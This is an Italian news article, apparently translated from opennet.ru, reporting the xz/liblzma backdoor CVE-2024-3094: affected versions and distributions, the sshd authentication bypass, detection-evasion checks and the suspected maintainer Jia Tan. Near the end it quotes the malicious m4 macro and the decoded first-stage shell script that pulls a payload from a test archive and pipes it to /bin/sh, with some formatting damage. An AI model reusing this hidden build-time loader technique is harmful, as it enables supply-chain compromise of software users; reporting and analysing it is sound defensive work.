È stata scoperta una backdoor nella libreria xz/liblzma che consente l'accesso tramite sshd

Nel pacchetto XZ Utils, che comprende la libreria liblzma e le utilità per lavorare con dati compressi nel formato “.xz”, è stata identificata una backdoor (CVE-2024-3094) che consente l'intercettazione e la modifica dei dati elaborati dalle applicazioni associate con la libreria liblzma. L'obiettivo principale della backdoor è il server OpenSSH, che in alcune distribuzioni è fornito in bundle con la libreria libsystemd, che a sua volta utilizza liblzma. Collegare sshd a una libreria vulnerabile consente agli aggressori di accedere al server SSH senza autenticazione.

La backdoor era presente nelle versioni ufficiali 5.6.0 e 5.6.1, pubblicate il 24 febbraio e il 9 marzo, che riuscivano ad entrare in alcune distribuzioni e repository, ad esempio Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide e 40-beta, openSUSE factory e tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Si consiglia a tutti gli utenti delle versioni xz 5.6.0 e 5.6.1 di eseguire urgentemente il rollback alla versione 5.4.6.

Tra i fattori che attenuano il problema, si può notare che la versione di liblzma con backdoor non è riuscita a entrare a far parte delle versioni stabili delle grandi distribuzioni, ma ha interessato openSUSE Tumbleweed e Fedora 40-beta. Arch Linux e Gentoo hanno utilizzato una versione vulnerabile di zx, ma non sono suscettibili all'attacco perché non applicano la patch systemd-notify a openssh, che fa sì che sshd sia collegato a liblzma. La backdoor colpisce solo i sistemi x86_64 basati sul kernel Linux e sulla libreria Glibc C.

Il codice di attivazione della backdoor era nascosto nelle macro m4 dal file build-to-host.m4 utilizzato dal toolkit automake durante la creazione. In fase di montaggio, durante l'esecuzione di complesse operazioni offuscate basate su archivi (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilizzate per testare la correttezza del funzionamento, è stato generato un file oggetto con codice dannoso, che è stato incluso in la libreria liblzma e cambiato la logica operativa di alcune delle sue funzioni. Le macro m4 che attivano la backdoor erano incluse nei tarball di rilascio, ma non erano nel repository Git. Allo stesso tempo, nel repository erano presenti archivi di test dannosi, ad es. la persona che ha implementato la backdoor aveva accesso sia al repository che ai processi di generazione del rilascio.

Quando si utilizza liblzma nelle applicazioni, potrebbero essere utilizzate modifiche dannose per intercettare o modificare dati o influenzare il funzionamento di sshd. In particolare, il codice dannoso ha falsificato la funzione RSA_public_decrypt per aggirare il processo di autenticazione sshd. La backdoor includeva la protezione dal rilevamento e non si manifestava quando le variabili di ambiente LANG e TERM erano impostate (ovvero durante l'esecuzione del processo nel terminale) e le variabili di ambiente LD_DEBUG e LD_PROFILE non erano impostate, e veniva inoltre attivata solo durante l'esecuzione del File eseguibile /usr/sbin/sshd . La backdoor aveva anche un mezzo per rilevare l'esecuzione negli ambienti di debug.

In particolare, il file m4/build-to-host.m4 utilizzava gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Nella prima costruzione, l'operazione grep ha trovato il file tests/files/bad-3-corrupt_lzma2.xz che, una volta decompresso, ha generato lo script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####Mondo####

Non è ancora del tutto chiaro come gli aggressori siano riusciti ad accedere all’infrastruttura del progetto xz. Inoltre non è ancora chiaro quanti utenti e progetti siano stati compromessi a causa della backdoor. Il presunto autore della backdoor (JiaT75 - Jia Tan), che ha pubblicato archivi con codice dannoso nel repository, ha corrisposto con gli sviluppatori Fedora e ha inviato richieste pull a Debian relative alla transizione delle distribuzioni al ramo xz 5.6.0, e non ha fatto destare sospetti, dal momento che ha partecipato a xz ha sviluppato negli ultimi due anni ed è il secondo sviluppatore in termini di numero di modifiche apportate. Oltre al progetto xz, il presunto autore della backdoor ha partecipato anche allo sviluppo dei pacchetti xz-java e xz-embedded. Inoltre, Jia Tan pochi giorni fa è stata inclusa nel numero dei manutentori del progetto XZ Embedded utilizzato nel kernel Linux.

La modifica dannosa è stata scoperta dopo aver analizzato il consumo eccessivo di CPU e gli errori generati da valgrind durante la connessione tramite ssh a sistemi basati su Debian sid. È interessante notare che la versione xz 5.6.1 includeva modifiche preparate dal presunto autore della backdoor in risposta ai reclami relativi a rallentamenti e arresti anomali di sshd verificatisi dopo l'aggiornamento alla versione zx 5.6.0 con backdoor. Inoltre, l'anno scorso Jia Tan ha apportato modifiche incompatibili con la modalità di ispezione "-fsanitize=address", causandone la disabilitazione durante il test fuzz.

Fonte: opennet.ru

Aggiungi un commento